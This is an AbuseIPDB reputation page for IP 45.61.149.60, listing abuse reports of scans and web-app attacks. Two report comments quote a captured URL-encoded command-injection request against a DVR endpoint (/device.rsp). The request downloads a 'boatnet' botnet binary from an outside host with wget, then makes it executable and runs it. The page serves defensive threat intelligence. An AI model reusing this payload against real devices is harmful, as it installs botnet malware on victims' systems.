JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 45.61.149.60

45.61.149.60 was found in our database!

This IP was reported 84 times. Confidence of Abuse is 0%: ?

ISP	RouterHosting LLC
Usage Type	Data Center/Web Hosting/Transit
ASN	AS14956
Hostname(s)	60.149.61.45.static.cloudzy.com
Domain Name	cloudzy.com
Country	🇺🇸 United States of America
City	Las Vegas, Nevada

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 45.61.149.60

Whois 45.61.149.60

IP Abuse Reports for 45.61.149.60:

This IP address has been reported a total of 84 times from 53 distinct sources. 45.61.149.60 was first reported on January 11th 2026, and the most recent report was 5 months ago.

Old Reports: The most recent abuse report for this IP address is from 5 months ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇨🇳 ThreatBook.io	2026-01-12 22:34:48 (5 months ago)	ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/45.61.149.60 2026-01-1 ... show more ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/45.61.149.60 2026-01-12 00:21:37 /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F216.126.224.83%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2A%3B%20.%2Fboatnet.arm7%20,{"body":"","content_type":"","header":{"Accept":["/"],"Accept-Encoding":["gzip, deflate"],"Connection":["keep-alive"],"Cookie":["uid=1"],"User-Agent":["Mozila/5.0"]},"host":"101.230.143.166:80","method":"POST","proto":"HTTP/1.1","remote_addr":"45.61.149.60:49846","status_code":200,"url":"/device.rsp?opt=sys\u0026cmd=___S_O_S_T_R_E_A_MAX___\u0026mdb=sos\u0026mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F216.126.224.83%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2A%3B%20.%2Fboatnet.arm7%20","user_agent":"Mozila/5.0"} show less	Web App Attack
🇫🇮 geot	2026-01-12 22:23:44 (5 months ago)	POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%2 ... show more POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F216.126.224.<<removed>>%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2A%3B%20.%2Fboatnet.arm7%20 HTTP/1.1 show less	Web App Attack
Anonymous	2026-01-12 07:48:00 (5 months ago)	POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&md	Hacking Web App Attack
Anonymous	2026-01-12 07:35:23 (5 months ago)	WAF Lite (Error_ModSec): [Sun Jan 11 15:44:50.852006 2026] [:error] [pid 1794318:tid 1794318] [clien ... show more WAF Lite (Error_ModSec): [Sun Jan 11 15:44:50.852006 2026] [:error] [pid 1794318:tid 1794318] [client 45.61.149.60:50284] [client 45.61.149.60] ModSecurity: [msg "Remote Command Execution: Unix Command Injection"] show less	Hacking
🇺🇸 gu-alvareza	2026-01-12 07:05:08 (5 months ago)	TBK.DVR.SOSTREAMAX.Command.Injection	SQL Injection Web App Attack
Anonymous	2026-01-12 03:26:55 (5 months ago)	Unauthorized connection attempt	Port Scan Hacking Exploited Host
🇬🇧 [email protected]	2026-01-12 01:01:35 (5 months ago)	...	Brute-Force SSH
🇺🇸 TPI-Abuse	2026-01-12 00:37:47 (5 months ago)	(mod_security) mod_security (id:217200) triggered by 45.61.149.60 (60.149.61.45.static.cloudzy.com): ... show more (mod_security) mod_security (id:217200) triggered by 45.61.149.60 (60.149.61.45.static.cloudzy.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sun Jan 11 19:37:43.444914 2026] [security2:error] [pid 999:tid 999] [client 45.61.149.60:40652] ModSecurity: Access denied with code 403 (phase 1). Match of "endsWith /wp-cron.php" against "REQUEST_FILENAME" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/12_HTTP_Protocol.conf"] [line "103"] [id "217200"] [rev "2"] [msg "COMODO WAF: HTTP/1.1 POST request missing Content-Length Header\|\|192.64.150.121:80\|F\|2"] [data "/device.rsp"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "192.64.150.121"] [uri "/device.rsp"] [unique_id "aWRCVztN15CLAV5vJceNEgAAAAI"] show less	Brute-Force Bad Web Bot Web App Attack
🇩🇪 _ArminS_	2026-01-12 00:36:48 (5 months ago)	WEB-Scan 33681:80 detected 2026.01.12 01:36:48 blocked until 2026.03.02 18:39:35	Port Scan
🇷🇺 Agrohim	2026-01-12 00:32:19 (5 months ago)	Gate I blocked for categories:	DDoS Attack Ping of Death Port Scan Hacking Brute-Force
🇺🇸 MPL	2026-01-12 00:22:44 (5 months ago)	tcp/80 (4 or more attempts)	Port Scan
Anonymous	2026-01-11 23:45:54 (5 months ago)	Drop from IP address 45.61.149.60 to tcp-port 80	Port Scan
🇺🇸 TPI-Abuse	2026-01-11 23:41:15 (5 months ago)	(mod_security) mod_security (id:217200) triggered by 45.61.149.60 (60.149.61.45.static.cloudzy.com): ... show more (mod_security) mod_security (id:217200) triggered by 45.61.149.60 (60.149.61.45.static.cloudzy.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sun Jan 11 18:41:08.955957 2026] [security2:error] [pid 1794282:tid 1794282] [client 45.61.149.60:42820] ModSecurity: Access denied with code 403 (phase 1). Match of "endsWith /wp-cron.php" against "REQUEST_FILENAME" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/12_HTTP_Protocol.conf"] [line "103"] [id "217200"] [rev "2"] [msg "COMODO WAF: HTTP/1.1 POST request missing Content-Length Header\|\|192.64.150.188:80\|F\|2"] [data "/device.rsp"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "192.64.150.188"] [uri "/device.rsp"] [unique_id "aWQ1FGkfyK_8eRarEG539wAAABg"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 xmission.com	2026-01-11 23:31:17 (5 months ago)	Blocked by UFW (TCP on 80) Source port: 58878 TTL: 244 Packet length: 40 TOS: 0x08 This report (for ... show more Blocked by UFW (TCP on 80) Source port: 58878 TTL: 244 Packet length: 40 TOS: 0x08 This report (for 45.61.149.60) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan Web App Attack
🇺🇸 TPI-Abuse	2026-01-11 22:52:54 (5 months ago)	(mod_security) mod_security (id:217200) triggered by 45.61.149.60 (60.149.61.45.static.cloudzy.com): ... show more (mod_security) mod_security (id:217200) triggered by 45.61.149.60 (60.149.61.45.static.cloudzy.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sun Jan 11 17:52:46.172370 2026] [security2:error] [pid 25029:tid 25029] [client 45.61.149.60:42352] ModSecurity: Access denied with code 403 (phase 1). Match of "endsWith /wp-cron.php" against "REQUEST_FILENAME" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/12_HTTP_Protocol.conf"] [line "103"] [id "217200"] [rev "2"] [msg "COMODO WAF: HTTP/1.1 POST request missing Content-Length Header\|\|192.64.150.55:80\|F\|2"] [data "/device.rsp"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "192.64.150.55"] [uri "/device.rsp"] [unique_id "aWQpvll2dh6lz5hxzUwHXAAAAA8"] show less	Brute-Force Bad Web Bot Web App Attack

Showing 1 to 15 of 84 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇹🇭 202.29.220.130

🇭🇰 183.87.98.68

🇮🇩 180.178.94.214

🇧🇼 168.167.228.123

🇰🇷 111.171.125.94

🇳🇬 102.90.115.7

🇷🇺 95.71.127.158

🇬🇧 45.82.76.139

🇨🇦 20.151.5.99

🇩🇪 193.124.20.247

🇬🇧 172.71.178.58

🇺🇸 146.190.209.5

🇭🇰 119.28.49.103

🇨🇳 116.179.32.158

🇳🇱 85.11.167.11

🇸🇪 83.233.149.204

🇺🇸 74.249.78.164

🇨🇳 60.208.179.202

🇳🇱 45.156.87.253

🇳🇱 45.148.10.141